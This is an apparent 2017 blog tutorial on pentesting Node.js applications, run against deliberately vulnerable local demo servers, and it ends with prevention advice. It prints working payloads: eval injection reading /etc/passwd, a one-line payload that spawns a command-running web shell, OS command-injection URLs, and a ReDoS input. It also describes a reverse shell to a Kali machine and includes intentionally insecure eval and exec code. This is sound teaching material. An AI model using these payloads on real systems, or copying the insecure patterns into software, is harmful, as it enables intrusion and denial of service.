Disqus Shortname

Sunday, 23 April 2017

Pentesting Node.js Application : Nodejs Application Security


Pentesting Node.js Application : Nodejs Application Security

Hello folks, Today we will see how we can do Pentesting Of NodeJS Application : Attacking NodeJS Application.

As we know that Javascript is a very common and important language and also a light wight which do our most of task very easily.

But we also know that, Great efficiency comes with great risk. Node JS is a kind of server side programming language derived from JS.

According to Wiki

Node.js is an open-source, cross-platform JavaScript run-time environment for executing JavaScript code server-side. Historically, JavaScript was used primarily for client-side scripting, in which scripts written in JavaScript are embedded in a webpage's HTML, to be run client-side by a JavaScript engine in the user's web browser. Node.js enables JavaScript to be used for server-side scripting, and runs scripts server-side to produce dynamic web page content before the page is sent to the user's web browser. Consequently, Node.js has become one of the foundational elements of the "JavaScript everywhere" paradigm,[4] allowing web application development to unify around a single programming language, rather than rely on a different language for writing server side scripts.


Today we will see some of the vulnerabilities which can be exploited in Node.JS application. We will also take a look on the source code for better understanding.

1) You can install Node.JS on your own using Node.JS easily installation process from here -https://nodejs.org/en/download/

2) In our demo i have used express framework for Node.JS, You can install the same in your PC

A) create a directory to where your application code is placed and make that your working directory.
$ mkdir nodeapp
$ cd nodeapp

2)  npm init command to create a package.json file for your application
$ npm init



3) This command will ask you for a several of things like as the name and version of your application. You can inter the details or keep them as it is by pressing enter in every prompt.

4) Now install Express in the nodeapp directory
$ npm install express --save



5) You can install Express temporarily and not add it to the dependencies list, omit the --save option:
$ npm install express

Pentesting Node.js Application : Nodejs Application Security

1) Eval() Very Evil 

A) Remote Code Execution ( Exploiting Server Side JavaScript Injection ) [ JavaScript Arbitrary Code Execution ]

eval() is a dangerous/risky function, which execute the codes passed via any input to eval(). Its a kind of Remote Command Execution scenario where an application could perform command execution with its own privilege user.

Ex.-1
var x = 2;
var y = 2;
var z = '10'';
eval('x + y + 6'); // returns 10
eval(z);           // returns 10

Both eval() will return value 10.

Ex. -2

var express = require('express');
var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output</br>'+resp);
});
app.listen(8001);

[codeexe.js]

As we can see, clearly the eval function is taking input from input parameter without escaping or filtering the user input which directly getting passed to eval(). Its a very common and typical example function.
An user can exploit this vulnerability by passing codes to the input parameter.


First we started our js code by 
node filename.js
node codexe.js


If you see any error while starting this codes, so it might possible that another service is running on the same port. So first you have the find the service using ps command.


Then kill this codeexe.js pid which is 2959

So we started our js code. 



First, we are passing a simple user input to the input parameter as defined in our code.

http://127.0.0.1:8001/?input=4444441111



We use some of the payloads for the Node.js Code Execution Vulnerability.
Payloads URL - https://drive.google.com/file/d/0B-LjC3oY6tUpRXZJRXMxbnlvV3M/view

Setting up the intruder.


Following was the payloads.

Intruder attack result.

We can see the process.cwd() response contents current user directory as "/Users/narendrabhati/Node JS Pentesting"
After confirming we do many operations as we want. Ex. we can read internal files 

http://127.0.0.1:8001/?input=res.end(require('fs').readFileSync('/etc/passwd').toString())



Now we are moving to a simple web shell just like simple php shell from where you can perform/injection system commands.

Below will payload will start a new web server or you can say a new nodejs app on port 8002 after 8 seconds. Lets try this.

setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)

Now after 8 seconds, you can look for the target on port 8002 by passing parameter cmd with some commands.

http://127.0.0.1:8002/?cmd=ls ; uname -a ; whoami

Reverse Connection

B) Reverse Shell ( Exploiting Server Side JavaScript Injection )

For getting a reverse shell, we can use nodejsshell.py python script which you can found here
This script will create a js code according to the attacker ip and attacker local port.
It comes very handy when you have direct connection with the nodejs application or you both are in the same network.

Below i tested Successful Ping with my Kali Machine ]192.168.131.134] and later on run the nodejsshell.py file with my kali machine ip 192.168.131.134 as attacker and attacker port 4444.


In my Kali Machine, I am waiting for a connection on port 4444



I injected those code get from nodejsshell.py into the application.


And i got the reverse shell in my Kali Machine.



2) Remote OS Command Execution

Similar to Remote Code Execution ( Exploiting Server Side JavaScript Injection ) This vulnerability also allow attacker to perform to Arbitrary Command Execution. The key difference is that This vulnerability occurs because of unsafe uses of exe.exec which is self responsible for allow application to interact wit System/OS commands.

[nodejsrce.js]

var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data)
{
response.write("RCE-DEMO " + data);
});
}).listen(8005);



By looking at the source code we can say that exe.exec is taking an user input via inject parameter without filtering or escaping the user input.As a result user/attacker can inject any value which allow him to perform NodeJS Remote OS Command Execution.

Below is our application ping command example.

http://127.0.0.1:8005/?inject=google.com




I am not going into the basic of Command Execution, If you want know more about OS Command Execution please go through this slide. 


A typical Simple OS Command Execution is entering semi columns after value and inject commands

http://127.0.0.1:8005/?inject=google.com ; ls

We can pass multiple commands in single time.

http://127.0.0.1:8005/?inject=google.com ; whoami ; pwd ; ls -al



3) RegExp DOS Vulnerability

According To OWASP

The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.

In the short note an attacker can abuse the Regular Expression validation by sending large amount of false data, which trick the application to consume larger number of server resource resulting un-availability of the service/application for other user.

[ nodejsregexp.js]

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
starttime = process.hrtime();
var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email ));
response.write("</br>Server Response Time: " + process.hrtime(starttime));
response.end();
}).listen(8006);

Following var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; reg exp. is found vulnerable to DOS attack, where attacker can pass a large number of input to the application. which cause service/application un-availability.

For Dosing

http://127.0.0.1:8006/?email=narealshdlhasldhlashkldhalshdlkahslkdhklashldhalkshdklahskldhklashkldhaklshdklhalshdlahslhdhasklkhdlkahdndra.bhagdkjgkasgkdgakjsgdjkgaskgdjkagskdgjkasgjkdgjasgdgjkasgjdgjaksgjkdgjaksgkdgjaksjkgdgjaksjgkdgajksgdjkagjskdgjkajsgkdgjkasjgkdadati@websasdasdaksdgakjsgdkgajksgdjkagsjkdgajkgdjkagksdgjkasgjkdgjasjkdjkagjkdgagkasjdadecgeeks.caskdhahldkhalkshdklahsldhklashdlhaklshdlahsldhlkahsdhlashdhaklshdhaklshdklahslhdkahsdhkahsldhaskhldhalshdhlashdasdom%%%%////

This large input will cause the application to consumer lots of server resources.




For better understanding i have created a video.






4 ) Brute Force/Rate Limit Protection

I have already discussed about the rate limit on one of post here.

While doing Pentesting of NodeJS application always look for the end points where you can perform a brute force/wordlist attack. Ex. 

A) Forgot Your Password Form : Try to enumerate existing users
B) OTP - OTP Mostly used for Password Reset,Mobile Verification,Account Creation
C) Password Reset Code : Some times password reset tokens might be brute-forcable.

5) NPM 

It is possible that existing npm packages may have some existed vulnerabilities. Here The Node Security Project Comes In The Rescue.
Using NSP tools, we can look for the existing vulnerabilities.

Following command will install nps.

npm i nsp -g [This will install nsp]
nsp check module-name-to-audited [ This will check vulnerabilities in mention ]
Or
nsp check module-name-to-audite.json

6) Automated Scan

We can use NodeJSScan for automated vulnerability scanning. 


Security Prevention 

  • Deploy rate-limit to prevent brute-force attacks against authentication. One way to do this is to use StrongLoop API Gateway to enforce a rate-limiting policy or middleware such as express-limiter.
  • Use csurf middleware to CSRF Protection.
  • Always filter and sanitize user input to protect against most of the vulnerabilities like SQLinjection, XSS, Command Injection etc.
  • Use the nmap and sslyze tools to test the configuration of your SSL.
  • Use safe-regex to secure regular expression.
  • Do not expose sensitive information on client side
  • Perform proper error handling to prevent information disclosure.
  • Strict-Transport-Security enforces secure (HTTP over SSL/TLS) connections to the server
  • X-Frame-Options provides clickjacking protection
  • X-XSS-Protection enables the Cross-site scripting (XSS) filter built into most recent web browsers
  • X-Content-Type-Options prevents browsers from MIME-sniffing a response away from the declared content-type
  • Content-Security-Policy prevents a wide range of attacks, including Cross-site scripting and other cross-site injections

This is all about Pentesting Node.js Application : Nodejs Application Security. If you find this post good. Please do like & share.
Thanks.





2 comments:

  1. do you know how to exploit under {$where : something = 'XXXXXXX';}

    ReplyDelete
    Replies
    1. Can you please elaborate the condition more specific.
      Help me to better understand the situation.

      Delete

Featured post

Pentesting Node.js Application : Nodejs Application Security

Pentesting Node.js Application : Nodejs Application Security Hello folks, Today we will see how we can do Pentesting Of NodeJS Appli...

Popular Posts